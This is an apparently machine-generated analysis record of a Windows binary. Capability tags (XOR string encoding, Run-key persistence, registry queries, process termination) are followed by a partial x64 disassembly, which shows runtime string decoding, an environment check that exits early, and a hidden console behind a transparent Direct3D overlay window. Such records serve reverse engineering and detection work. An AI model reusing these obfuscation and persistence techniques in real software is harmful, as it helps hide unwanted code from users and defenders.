Function at 0x7ff6051bfe90
Capabilities:
Encode data using xor
Persist via run registry key
Query or enumerate registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x17e0
call fcn.7ff60542b960
sub rsp, rax
movaps xmmword [rsp + 0x17d0], xmm6
movaps xmmword [rsp + 0x17c0], xmm7
mov rax, qword [0x7ff60566c600]
xor rax, rsp
mov qword [rsp + 0x17b0], rax
mov rbx, rdx
movsxd rdi, ecx
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r12 + 1]
lea rcx, [0x7ff60562fd78]
call qword [sym.imp.kernel32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x7ff6051bffca
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
mov byte [rsp + 0x60], 7
mov al, 0x51
mov cl, 0x4a
mov dl, 0x27
mov r8b, 0x43
mov r9b, 0x42
mov r10b, 0x53
movzx r11d, r9b
mov bl, 0x44
movzx edi, r10b
movzx esi, r9b
movzx r14d, r8b
xor al, 7
mov byte [rsp + 0x61], al
xor cl, 7
mov byte [rsp + 0x62], cl
xor dl, 7
mov byte [rsp + 0x63], dl
xor r8b, 7
mov byte [rsp + 0x64], r8b
xor r9b, 7
mov byte [rsp + 0x65], r9b
xor r10b, 7
mov byte [rsp + 0x66], r10b
xor r11b, 7
mov byte [rsp + 0x67], r11b
xor bl, 7
mov byte [rsp + 0x68], bl
xor dil, 7
mov byte [rsp + 0x69], dil
xor sil, 7
mov byte [rsp + 0x6a], sil
xor r14b, 7
mov byte [rsp + 0x6b], r14b
mov byte [rsp + 0x6c], r12b
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x61]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
call fcn.7ff6051b4500
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov qword [rsp + 0xaa0], r12
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x7ff60562fda0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff6051c00aa
mov byte [rsp + 0x60], 0x4d
mov al, 0x1b
xor cl, cl
mov dl, 0x6d
mov r8b, 9
mov r9b, 8
mov r10b, 0x19
movzx r11d, r9b
mov bl, 0xe
movzx edi, r10b
movzx esi, r9b
movzx r14d, r8b
xor al, 0x4d
mov byte [rsp + 0x61], al
xor cl, 0x4d
mov byte [rsp + 0x62], cl
xor dl, 0x4d
mov byte [rsp + 0x63], dl
xor r8b, 0x4d
mov byte [rsp + 0x64], r8b
xor r9b, 0x4d
mov byte [rsp + 0x65], r9b
xor r10b, 0x4d
mov byte [rsp + 0x66], r10b
xor r11b, 0x4d
mov byte [rsp + 0x67], r11b
xor bl, 0x4d
mov byte [rsp + 0x68], bl
xor dil, 0x4d
mov byte [rsp + 0x69], dil
xor sil, 0x4d
mov byte [rsp + 0x6a], sil
xor r14b, 0x4d
mov byte [rsp + 0x6b], r14b
mov byte [rsp + 0x6c], r12b
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x61]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
call fcn.7ff6051b4500
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov r8, r12
test edi, edi
jle 0x7ff6051c00ef
lea r10, [0x7ff605630138]
nop dword [rax + rax]
mov rcx, r12
mov rdx, qword [rbx + r8*8]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x7ff6051c06a5
cmp rcx, 7
jne 0x7ff6051c00d0
mov byte [0x7ff605749af7], 1
movups xmm0, xmmword [0x7ff60562fa40]
movups xmmword [rsp + 0x2a8], xmm0
mov eax, dword [0x7ff60562fa50]
mov dword [rsp + 0x2b8], eax
movzx eax, word [0x7ff60562fa54]
mov word [rsp + 0x2bc], ax
cmp byte [0x7ff60562fa55], r12b
je 0x7ff6051c02c0
mov r8d, r12d
cmp dword [0x7ff60566c5e8], 2
jl 0x7ff6051c0275
movdqa xmm5, xmmword [0x7ff605631c30]
movdqa xmm4, xmmword [0x7ff6056327d0]
movdqa xmm6, xmmword [0x7ff605631c50]
movdqa xmm0, xmmword [0x7ff6056323b0]
movdqa xmmword [rsp + 0x3c0], xmm0
lea rcx, [rsp + 0x2a8]
mov edx, dword [rsp + 0x3c0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff605631d70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff605631d70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff6051c0170
cmp r8d, 0x16
jge 0x7ff6051c02c0
movsxd rax, r8d
lea r9, [rsp + 0x2a8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x7ff6051c0290
xorps xmm0, xmm0
movups xmmword [rsp + 0x420], xmm0
mov qword [rsp + 0x430], r12
mov qword [rsp + 0x438], r12
lea rax, [rsp + 0x2a8]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x7ff6051c02f0
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x420]
call fcn.7ff605163830
nop
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x8d0]
call fcn.7ff6051b43e0
lea rcx, [rsp + 0x8d0]
call fcn.7ff605162330
nop
lea rcx, [rsp + 0x420]
call fcn.7ff605162330
mov dword [rsp + 0xb00], 0x50
mov dword [rsp + 0xb04], 0x40
lea rax, [0x7ff6051c8440]
mov qword [rsp + 0xb08], rax
mov qword [rsp + 0xb10], r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
mov qword [rsp + 0xb18], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xb20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb30], xmm1
lea rax, [0x7ff605630140]
mov qword [rsp + 0xb40], rax
mov qword [rsp + 0xb48], r12
lea rcx, [rsp + 0xb00]
call qword [sym.imp.user32.dll_RegisterClassExW]
cvttss2si edi, dword [0x7ff60574b16c]
cvttss2si esi, dword [0x7ff60574b168]
mov ecx, 1
call qword [sym.imp.user32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x7ff60574b16c]
mulss xmm0, dword [0x7ff6056319d4]
subss xmm1, xmm0
cvttss2si ebx, xmm1
xor ecx, ecx
call qword [sym.imp.user32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x7ff60574b168]
mulss xmm0, dword [0x7ff6056319d4]
subss xmm1, xmm0
cvttss2si ecx, xmm1
mov qword [rsp + 0x58], r12
mov rax, qword [rsp + 0xb18]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ecx
mov r9d, 0x80000000
lea r8, [0x7ff605630160]
mov rdx, qword [rsp + 0xb40]
xor ecx, ecx
call qword [sym.imp.user32.dll_CreateWindowExW]
mov rsi, rax
mov qword [rsp + 0x60], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.user32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rsi
call qword [sym.imp.user32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.user32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x7ff605631bb0]
movdqu xmmword [rsp + 0xc30], xmm0
lea rdx, [rsp + 0xc30]
mov rcx, rsi
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
call fcn.7ff6051b3c30
xorps xmm0, xmm0
movups xmmword [rsp + 0xc10], xmm0
lea rdx, [rsp + 0xc10]
mov rcx, rsi
call qword [sym.imp.user32.dll_GetWindowRect]
mov qword [rsp + 0xac4], r12
mov qword [rsp + 0xad8], 2
mov qword [rsp + 0xaf0], 2
mov qword [rsp + 0xab0], r12
mov dword [rsp + 0xac0], 0x1c
mov dword [rsp + 0xab8], 0x3c
mov dword [rsp + 0xabc], 1
mov dword [rsp + 0xad4], 0x20
mov qword [rsp + 0xae0], rsi
mov qword [rsp + 0xacc], 1
mov qword [rsp + 0xae8], 1
mov dword [rsp + 0xd80], 0xb000
mov dword [rsp + 0xd84], 0xa000
lea rbx, [0x7ff60574b288]
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x50], rax
lea rdi, [0x7ff60574b280]
mov qword [rsp + 0x48], rdi
lea r14, [0x7ff60574b278]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0xd80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x7ff6051c0645
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0xd80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 5]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x7ff6051c06b6
call fcn.7ff6051c83c0
mov rdx, qword [rsp + 0xb18]
mov rcx, qword [rsp + 0xb40]
call qword [sym.imp.user32.dll_UnregisterClassW]
mov eax, 1
mov rcx, qword [rsp + 0x17b0]
xor rcx, rsp
call fcn.7ff60542acb0
lea r11, [rsp + 0x17e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
ret
inc r8
cmp r8, rdi
jl 0x7ff6051c00c0
jmp 0x7ff6051c00ef
mov rcx, qword [0x7ff60574b278]
mov rax, qword [rcx]
lea r9, [rsp + 0xa98]
lea r8, [0x7ff60562f948]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x7ff60574b280]
mov rax, qword [rcx]
lea r9, [0x7ff60574b270]
xor r8d, r8d
mov rdx, qword [rsp + 0xa98]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0xa98]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov edx, 0xa
mov rcx, rsi
call qword [sym.imp.user32.dll_ShowWindow]
call qword [sym.imp.kernel32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.user32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.user32.dll_UpdateWindow]
mov rbx, qword [0x7ff605749b08]
mov ecx, 0x6a68
call fcn.7ff6051730c0
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x209]
mov qword [rsp + 0x250], rcx
mov qword [rsp + 0x2a0], rax
test rax, rax
je 0x7ff6051c076b
xor edx, edx
mov rcx, rax
call fcn.7ff60516d7a0
jmp 0x7ff6051c076e
mov rax, r12
mov qword [0x7ff605749b08], rax
call fcn.7ff605171600
test rbx, rbx
je 0x7ff6051c0788
mov qword [0x7ff605749b08], rbx
jmp 0x7ff6051c078f
mov rbx, qword [0x7ff605749b08]
or dword [rbx + 8], 3
mov qword [rbx + 0x20], r12
mov qword [rbx + 0x28], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x7ff605631abc]
lea rdx, [0x7ff605743380]
mov rcx, qword [rbx + 0x38]
call fcn.7ff60518df40
xor ecx, ecx
call fcn.7ff605189380
call fcn.7ff6051b2c90
mov ecx, 0x40
call fcn.7ff60542adf8
mov rbx, rax
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x230], rax
xorps xmm1, xmm1
movups xmmword [rax], xmm1
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
mov qword [rsp + 0x250], rax
mov dword [rax], r12d
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
mov ecx, 0x58
call fcn.7ff60542adf8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbx + 8], rax
lea rcx, [rbx + 0x18]
mov qword [rcx], r12
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r12
mov qword [rbx + 0x30], 7
mov qword [rbx + 0x38], 8
mov dword [rbx], 0x3f800000
mov r8, qword [rbx + 8]
mov edx, 0x10
call fcn.7ff605191670
nop
mov rdi, qword [0x7ff60574b258]
mov qword [0x7ff60574b258], rbx
test rdi, rdi
je 0x7ff6051c088b
mov rcx, rdi
call fcn.7ff60519bbb0
mov edx, 0x40
mov rcx, rdi
call fcn.7ff60542acd0
mov rbx, qword [0x7ff60574b258]
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0xa70], rbx
mov dword [rsp + 0x210], 0x12
mov rax, qword [0x7ff605749b08]
movss xmm7, dword [rax + 0x38f4]
divss xmm7, dword [0x7ff60566c760]
movss xmm6, dword [rax + 0x38f0]
divss xmm6, dword [0x7ff60566c760]
mov ecx, 0x38
call fcn.7ff60542adf8
mov rdx, rax
mov qword [rsp + 0x230], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, [0x7ff60562f148]
mov qword [rdx], rax
lea rcx, [rdx + 0x10]
mov qword [rcx], r12
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r12
movsd xmm0, qword [rsp + 0x210]
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm6
shufps xmm0, xmm0, 0xe1
movsd qword [rsp + 0x210], xmm0
movsd qword [rcx + 0x18], xmm0
movss dword [rcx + 0x20], xmm7
mov qword [0x7ff60574b260], rcx
mov rbx, qword [0x7ff60574b268]
mov qword [0x7ff60574b268], rdx
test rbx, rbx
je 0x7ff6051c097b
mov eax, r13d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x7ff6051c0974
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x7ff6051c0974
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rdx, qword [0x7ff60574b268]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x260], xmm0
test rdx, rdx
je 0x7ff6051c099f
movups xmm0, xmmword [0x7ff60574b260]
movaps xmmword [rsp + 0x260], xmm0
lock inc dword [rdx + 0xc]
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xb90], xmm1
mov rdx, qword [rsp + 0x268]
test rdx, rdx
je 0x7ff6051c09da
mov eax, dword [rdx + 8]
test eax, eax
je 0x7ff6051c09d2
nop
lea ecx, [rax + 1]
lock cmpxchg dword [rdx + 8], ecx
je 0x7ff6051c0a65
test eax, eax
jne 0x7ff6051c09c0
mov rdx, qword [rsp + 0x268]
test rdx, rdx
je 0x7ff6051c09fa
mov eax, r13d
lock xadd dword [rdx + 0xc], eax
cmp eax, 1
jne 0x7ff6051c09fa
mov rcx, qword [rsp + 0x268]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, rsi
call fcn.7ff60516b390
mov r14, qword [0x7ff60574b288]
mov rsi, qword [0x7ff60574b280]
mov rdi, qword [0x7ff605749b08]
mov ecx, 0x78
call fcn.7ff6051730c0
mov rbx, rax
mov qword [rsp + 0x220], rax
test rax, rax
je 0x7ff6051c0a86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
movups xmmword [rbx + 0x60], xmm0
mov qword [rbx + 0x70], rax
mov dword [rbx + 0x70], 0x1388
mov dword [rbx + 0x74], 0x2710
jmp 0x7ff6051c0a89
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0xb90], xmm0
psrldq xmm0, 8
movq rdx, xmm0
jmp 0x7ff6051c09da
mov rbx, r12
mov qword [rdi + 0x98], rbx
lea rax, [0x7ff60562a818]
mov qword [rdi + 0x88], rax
or dword [rdi + 0xc], 8
mov qword [rsp + 0xa78], r12
mov qword [rsp + 0xa80], r12
mov qword [rsp + 0xa90], r12
mov rax, qword [rsi]
lea r8, [rsp + 0xa78]
lea rdx, [0x7ff60562a828]
mov rcx, rsi
call qword [rax]
test eax, eax
jne 0x7ff6051c0b2a
mov rcx, qword [rsp + 0xa78]
mov rax, qword [rcx]
lea r8, [rsp + 0xa80]
lea rdx, [0x7ff60562a838]
call qword [rax + 0x30]
test eax, eax
jne 0x7ff6051c0b2a
mov rcx, qword [rsp + 0xa80]
mov rax, qword [rcx]
lea r8, [rsp + 0xa90]
lea rdx, [0x7ff60562a848]
call qword [rax + 0x30]
test eax, eax
jne 0x7ff6051c0b2a
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rsp + 0xa90]
mov qword [rbx + 0x10], rax
mov rcx, qword [rsp + 0xa78]
test rcx, rcx
je 0x7ff6051c0b3d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0xa80]
test rcx, rcx
je 0x7ff6051c0b50
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + 8]
mov esi, 4
mov rax, qword gs:[0x58]
add rsi, qword [rax]
mov qword [rsp + 0x220], rsi
mov eax, dword [rsi]
cmp dword [0x7ff60574b688], eax
jle 0x7ff6051c0bb3
lea rcx, [0x7ff60574b688]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b688], 0xffffffff
jne 0x7ff6051c0bb3
lea rcx, [0x7ff605430aa0]
call fcn.7ff60542b404
lea rcx, [0x7ff60574b688]
call fcn.7ff60542ad14
mov eax, dword [rsi]
cmp dword [0x7ff60574b6f0], eax
jle 0x7ff6051c0bea
lea rcx, [0x7ff60574b6f0]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b6f0], 0xffffffff
jne 0x7ff6051c0bea
lea rcx, [0x7ff605430a80]
call fcn.7ff60542b404
lea rcx, [0x7ff60574b6f0]
call fcn.7ff60542ad14
mov eax, dword [rsi]
cmp dword [0x7ff60574b730], eax
jle 0x7ff6051c0d6f
lea rcx, [0x7ff60574b730]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b730], 0xffffffff
jne 0x7ff6051c0d6f
movdqa xmm1, xmmword [0x7ff605632490]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm2, xmmword [0x7ff605632220]
movdqu xmmword [rsp + 0x80], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x71], al
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x80], al
xor byte [rsp + 0x81], cl
xor byte [rsp + 0x82], cl
xor byte [rsp + 0x83], cl
xor byte [rsp + 0x84], cl
xor byte [rsp + 0x85], cl
xor byte [rsp + 0x86], cl
xor byte [rsp + 0x87], cl
xor byte [rsp + 0x88], cl
xor byte [rsp + 0x89], cl
xor byte [rsp + 0x8a], cl
xor byte [rsp + 0x8b], cl
xor byte [rsp + 0x8c], cl
xor byte [rsp + 0x8d], cl
xor byte [rsp + 0x8e], cl
xor byte [rsp + 0x8f], cl
mov byte [rsp + 0x90], 0
lea rax, [rsp + 0x71]
mov qword [rsp + 0x4a0], rax
lea rcx, [rsp + 0x71]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c0d12
mov qword [rsp + 0x4a8], rax
mov qword [0x7ff60574b750], r12
movaps xmm0, xmmword [rsp + 0x4a0]
movdqa xmmword [rsp + 0x520], xmm0
lea r8, [rsp + 0x520]
mov rdx, qword [0x7ff60574b280]
lea rcx, [0x7ff60574b750]
call fcn.7ff6051de060
lea rcx, [0x7ff605430a70]
call fcn.7ff60542b404
nop
lea rcx, [0x7ff60574b730]
call fcn.7ff60542ad14
mov eax, dword [rsi]
cmp dword [0x7ff60574b664], eax
jle 0x7ff6051c0f2d
lea rcx, [0x7ff60574b664]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b664], 0xffffffff
jne 0x7ff6051c0f2d
movdqa xmm1, xmmword [0x7ff605632090]
movdqu xmmword [rsp + 0xe8], xmm1
movdqa xmm2, xmmword [0x7ff605631ed0]
movdqu xmmword [rsp + 0xf8], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0xe9], al
xor byte [rsp + 0xea], cl
xor byte [rsp + 0xeb], cl
xor byte [rsp + 0xec], cl
xor byte [rsp + 0xed], cl
xor byte [rsp + 0xee], cl
xor byte [rsp + 0xef], cl
xor byte [rsp + 0xf0], cl
xor byte [rsp + 0xf1], cl
xor byte [rsp + 0xf2], cl
xor byte [rsp + 0xf3], cl
xor byte [rsp + 0xf4], cl
xor byte [rsp + 0xf5], cl
xor byte [rsp + 0xf6], cl
xor byte [rsp + 0xf7], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0xf8], al
xor byte [rsp + 0xf9], cl
xor byte [rsp + 0xfa], cl
xor byte [rsp + 0xfb], cl
xor byte [rsp + 0xfc], cl
xor byte [rsp + 0xfd], cl
xor byte [rsp + 0xfe], cl
xor byte [rsp + 0xff], cl
xor byte [rsp + 0x100], cl
xor byte [rsp + 0x101], cl
xor byte [rsp + 0x102], cl
xor byte [rsp + 0x103], cl
xor byte [rsp + 0x104], cl
xor byte [rsp + 0x105], cl
xor byte [rsp + 0x106], cl
xor byte [rsp + 0x107], cl
mov byte [rsp + 0x108], 0
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x4b0], rax
lea rcx, [rsp + 0xe9]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c0ed0
mov qword [rsp + 0x4b8], rax
mov qword [0x7ff60574b740], r12
movaps xmm0, xmmword [rsp + 0x4b0]
movdqa xmmword [rsp + 0x510], xmm0
lea r8, [rsp + 0x510]
mov rdx, qword [0x7ff60574b280]
lea rcx, [0x7ff60574b740]
call fcn.7ff6051de060
lea rcx, [0x7ff605430a60]
call fcn.7ff60542b404
nop
lea rcx, [0x7ff60574b664]
call fcn.7ff60542ad14
mov eax, dword [rsi]
cmp dword [0x7ff60574b748], eax
jle 0x7ff6051c10ed
lea rcx, [0x7ff60574b748]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b748], 0xffffffff
jne 0x7ff6051c10ed
movdqa xmm1, xmmword [0x7ff605632ce0]
movdqu xmmword [rsp + 0x160], xmm1
movdqa xmm2, xmmword [0x7ff605632b40]
movdqu xmmword [rsp + 0x170], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x161], al
xor byte [rsp + 0x162], cl
xor byte [rsp + 0x163], cl
xor byte [rsp + 0x164], cl
xor byte [rsp + 0x165], cl
xor byte [rsp + 0x166], cl
xor byte [rsp + 0x167], cl
xor byte [rsp + 0x168], cl
xor byte [rsp + 0x169], cl
xor byte [rsp + 0x16a], cl
xor byte [rsp + 0x16b], cl
xor byte [rsp + 0x16c], cl
xor byte [rsp + 0x16d], cl
xor byte [rsp + 0x16e], cl
xor byte [rsp + 0x16f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x170], al
xor byte [rsp + 0x171], cl
xor byte [rsp + 0x172], cl
xor byte [rsp + 0x173], cl
xor byte [rsp + 0x174], cl
xor byte [rsp + 0x175], cl
xor byte [rsp + 0x176], cl
xor byte [rsp + 0x177], cl
xor byte [rsp + 0x178], cl
xor byte [rsp + 0x179], cl
xor byte [rsp + 0x17a], cl
xor byte [rsp + 0x17b], cl
xor byte [rsp + 0x17c], cl
xor byte [rsp + 0x17d], cl
xor byte [rsp + 0x17e], cl
xor byte [rsp + 0x17f], cl
mov byte [rsp + 0x180], 0
lea rax, [rsp + 0x161]
mov qword [rsp + 0x4c0], rax
lea rcx, [rsp + 0x161]
mov rax, r13
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c1090
mov qword [rsp + 0x4c8], rax
mov qword [0x7ff60574b738], r12
movaps xmm0, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x500], xmm0
lea r8, [rsp + 0x500]
mov rdx, qword [0x7ff60574b280]
lea rcx, [0x7ff60574b738]
call fcn.7ff6051de060
lea rcx, [0x7ff605430a50]
call fcn.7ff60542b404
nop
lea rcx, [0x7ff60574b748]
call fcn.7ff60542ad14
movdqa xmm1, xmmword [0x7ff605632160]
movdqu xmmword [rsp + 0x110], xmm1
movdqa xmm2, xmmword [0x7ff605632300]
movdqu xmmword [rsp + 0x120], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x111], al
xor byte [rsp + 0x112], cl
xor byte [rsp + 0x113], cl
xor byte [rsp + 0x114], cl
xor byte [rsp + 0x115], cl
xor byte [rsp + 0x116], cl
xor byte [rsp + 0x117], cl
xor byte [rsp + 0x118], cl
xor byte [rsp + 0x119], cl
xor byte [rsp + 0x11a], cl
xor byte [rsp + 0x11b], cl
xor byte [rsp + 0x11c], cl
xor byte [rsp + 0x11d], cl
xor byte [rsp + 0x11e], cl
xor byte [rsp + 0x11f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x120], al
xor byte [rsp + 0x121], cl
xor byte [rsp + 0x122], cl
xor byte [rsp + 0x123], cl
xor byte [rsp + 0x124], cl
xor byte [rsp + 0x125], cl
xor byte [rsp + 0x126], cl
xor byte [rsp + 0x127], cl
xor byte [rsp + 0x128], cl
xor byte [rsp + 0x129], cl
xor byte [rsp + 0x12a], cl
xor byte [rsp + 0x12b], cl
xor byte [rsp + 0x12c], cl
xor byte [rsp + 0x12d], cl
xor byte [rsp + 0x12e], cl
xor byte [rsp + 0x12f], cl
mov byte [rsp + 0x130], 0
lea rax, [rsp + 0x111]
mov qword [rsp + 0x410], rax
lea rcx, [rsp + 0x111]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c1224
mov qword [rsp + 0x418], rax
mov qword [rsp + 0x298], r12
